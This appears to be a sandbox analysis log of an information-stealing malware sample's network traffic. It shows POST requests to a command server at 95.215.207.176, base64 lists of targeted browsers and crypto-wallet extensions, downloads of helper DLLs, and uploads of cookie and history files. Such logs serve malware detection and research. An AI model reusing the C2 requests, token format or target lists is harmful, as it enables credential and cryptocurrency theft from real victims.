R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Nov 1, 2024 13:42:00.040529966 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Nov 1, 2024 13:42:00.041922092 CET	468	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGHJEBKJEGHJKECAAKJ Host: 95.215.207.176 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 2d 2d 0d 0a Data Ascii: ------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="message"plugins------DBGHJEBKJEGHJKECAAKJ--
Nov 1, 2024 13:42:00.282859087 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 1, 2024 13:42:00.282881021 CET	212	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8
Nov 1, 2024 13:42:00.282891035 CET	1236	IN	Data Raw: 5a 6d 68 74 5a 6d 56 75 5a 47 64 6b 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 Data Ascii: ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZ
Nov 1, 2024 13:42:00.282962084 CET	1236	IN	Data Raw: 64 48 78 6b 61 32 52 6c 5a 47 78 77 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d Data Ascii: dHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGp
Nov 1, 2024 13:42:00.282974958 CET	1236	IN	Data Raw: 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 Data Ascii: bmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGh
Nov 1, 2024 13:42:00.282985926 CET	1236	IN	Data Raw: 64 57 78 30 66 47 6c 6e 61 33 42 6a 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 Data Ascii: dWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWp
Nov 1, 2024 13:42:00.282993078 CET	952	IN	Data Raw: 4d 48 78 49 51 56 5a 42 53 43 42 58 59 57 78 73 5a 58 52 38 59 32 35 75 59 32 31 6b 61 47 70 68 59 33 42 72 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 Data Ascii: MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl
Nov 1, 2024 13:42:00.285065889 CET	469	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEGCBFHJDHJJKFIDBGIJ Host: 95.215.207.176 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 42 46 48 4a 44 48 4a 4a 4b 46 49 44 42 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 46 48 4a 44 48 4a 4a 4b 46 49 44 42 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 46 48 4a 44 48 4a 4a 4b 46 49 44 42 47 49 4a 2d 2d 0d 0a Data Ascii: ------IEGCBFHJDHJJKFIDBGIJContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------IEGCBFHJDHJJKFIDBGIJContent-Disposition: form-data; name="message"fplugins------IEGCBFHJDHJJKFIDBGIJ--
Nov 1, 2024 13:42:00.525523901 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 1, 2024 13:42:00.544128895 CET	202	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIII Host: 95.215.207.176 Content-Length: 6671 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 13:42:00.544198036 CET	6671	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 Data Ascii: ------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 1, 2024 13:42:00.841777086 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 13:42:01.073913097 CET	93	OUT	GET /70d63ca8a5be6cc3/sqlite3.dll HTTP/1.1 Host: 95.215.207.176 Cache-Control: no-cache
Nov 1, 2024 13:42:01.312946081 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 1, 2024 13:42:01.312966108 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 1, 2024 13:42:01.312978029 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49754	95.215.207.176	80	6956	C:\Users\user\Desktop\xLgTQcFdIJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 13:42:11.477425098 CET	201	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDBFBGIDHCAAKEBAKFI Host: 95.215.207.176 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 13:42:11.477436066 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 42 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 Data Ascii: ------CGDBFBGIDHCAAKEBAKFIContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------CGDBFBGIDHCAAKEBAKFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 1, 2024 13:42:12.368413925 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 13:42:12.879338026 CET	202	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFC Host: 95.215.207.176 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 13:42:12.879436016 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 1, 2024 13:42:13.372793913 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 13:42:13.516879082 CET	564	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIIEBGCAAECBGCBGCBK Host: 95.215.207.176 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFIIEBGCAAECBGCBGCBKContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------AFIIEBGCAAECBGCBGCBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFIIEBGCAAECBGCBGCBKContent-Disposition: form-data; name="file"------AFIIEBGCAAECBGCBGCBK--
Nov 1, 2024 13:42:13.775074959 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 13:42:14.279509068 CET	564	OUT	POST /d8ddb681db736e16.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJEBAAECBGDHIECAKJK Host: 95.215.207.176 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="file"------KKJEBAAECBGDHIECAKJK--
Nov 1, 2024 13:42:14.529597044 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:42:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 13:42:14.861074924 CET	93	OUT	GET /70d63ca8a5be6cc3/freebl3.dll HTTP/1.1 Host: 95.215.207.176 Cache-Control: no-cache
